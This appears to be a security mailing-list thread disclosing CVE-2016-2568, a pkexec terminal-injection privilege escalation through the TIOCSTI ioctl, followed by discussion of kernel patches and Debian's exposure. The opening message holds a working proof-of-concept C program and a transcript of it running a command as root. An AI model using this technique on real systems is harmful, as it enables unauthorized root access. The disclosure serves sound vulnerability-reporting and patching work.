When executing a program via "pkexec --user nonpriv program" the
nonpriv session can escape to the parent session by using the TIOCSTI
ioctl to push characters into the terminal's input buffer, allowing
privilege escalation.
This issue has been fixed in "su" CVE-2005-4890 by calling setsid()
and in "sudo" by using the "use_pty" flag.

$ cat test.c
#include <sys/ioctl.h>

int main()
{
  char *cmd = "id\n";
  while(*cmd)
   ioctl(0, TIOCSTI, cmd++);
}

$ gcc test.c -o test
$ id
uid=1000(saken) gid=1000(saken) groups=1000(saken)

# pkexec --user saken ./test ----> last command i type in
id
# id ----> did not type this
uid=0(root) gid=0(root) groups=0(root)


I don't believe any of the previous mentions of fixes for "su" and
"sudo" work here, since executing a shell via pkexec would make it not
have job control.

I'm also requesting a CVE for this issue

Thanks,
Federico Bento
----------------------------------------------------------------
This message was sent using IMP, the Internet Messaging Program.

CVE (CVE-2016-2568) for this issue was already assigned here:

http://seclists.org/oss-sec/2016/q1/443

Regards,

Upstream has decided not to fix this vulnerability [1]. Apparently they're
using a Linux kernel patch that makes TIOCSTI require CAP_SYS_ADMIN [2],
making this vulnerability impossible to exploit, but the Debian kernel
sources don't seem to contain such a capability check, so polkit on Debian
is still vulnerable.

[1] https://bugzilla.redhat.com/show_bug.cgi?id=1300746
[2] https://bugzilla.redhat.com/show_bug.cgi?id=1299955#c1

Am 13.06.2021 um 04:24 schrieb argv minus one:

Hm, I'm not seeing a patch there. Do you maybe have link to this kernel
patch?

Regards,
Michael

No, sorry. The existence of such a patch is implied by [1], and there was
an unsuccessful attempt to merge such a patch into upstream Linux [2], but
that's all I know about it.

[1] https://bugzilla.redhat.com/show_bug.cgi?id=1299955#c1
[2] https://lore.kernel.org/patchwork/patch/793178/

On Sun, 13 Jun 2021 17:10:59 -0700 argv minus one <argv.minus.one@gmail.com> wrote:
kernel
was
[2], but

Seems like this was merged in a form in stable by commit
83efeeeb3d04b22aaed1df99bc70a48fe9d22c4d "tty: Allow TIOCSTI to be
disabled" (which disable it completely AFAIK) 2022-11-03 (first in
v6.2-rc1, not in linux-6.1.y, included in linux-6.3.y, included in
linux-6.4.y, included in linux-6.5.y)  and fixed up by commit
690c8b804ad2eafbd35da5d3c95ad325ca7d5061 "TIOCSTI: always enable for
CAP_SYS_ADMIN" 	2023-07-20 which keep it always on for CAP_SYS_ADMIN
(to fix braille via brltty) (first in v6.5-rc4, not in linux-6.3.y,
included in linux-6.4.y, included in linux-6.5.y).

Maybe this "disable flag" could be turned on in the Debian kernel?



Still from
https://lore.kernel.org/lkml/2ab8580e-bf8e-21bd-6bfa-33e5fa82400b@nmatt.com/
it looks like this should not be necessary : " any TIOCSTI
protection doesn't matter if the program correctly allocates a tty/pty
pair. This protections seeks to protect users from programs that don't
do things correctly."


Also this looks like a policykit upstream issue. Do policykit devs
really told that their employer kernel had this feature disabled so
they would not work on fixing this CVE? Scary.


Maybe asking Alan Cox for help designing a proper fix for policykit
would be better... from his comment no program ought to requires
disabling this feature.


Regards,
Alban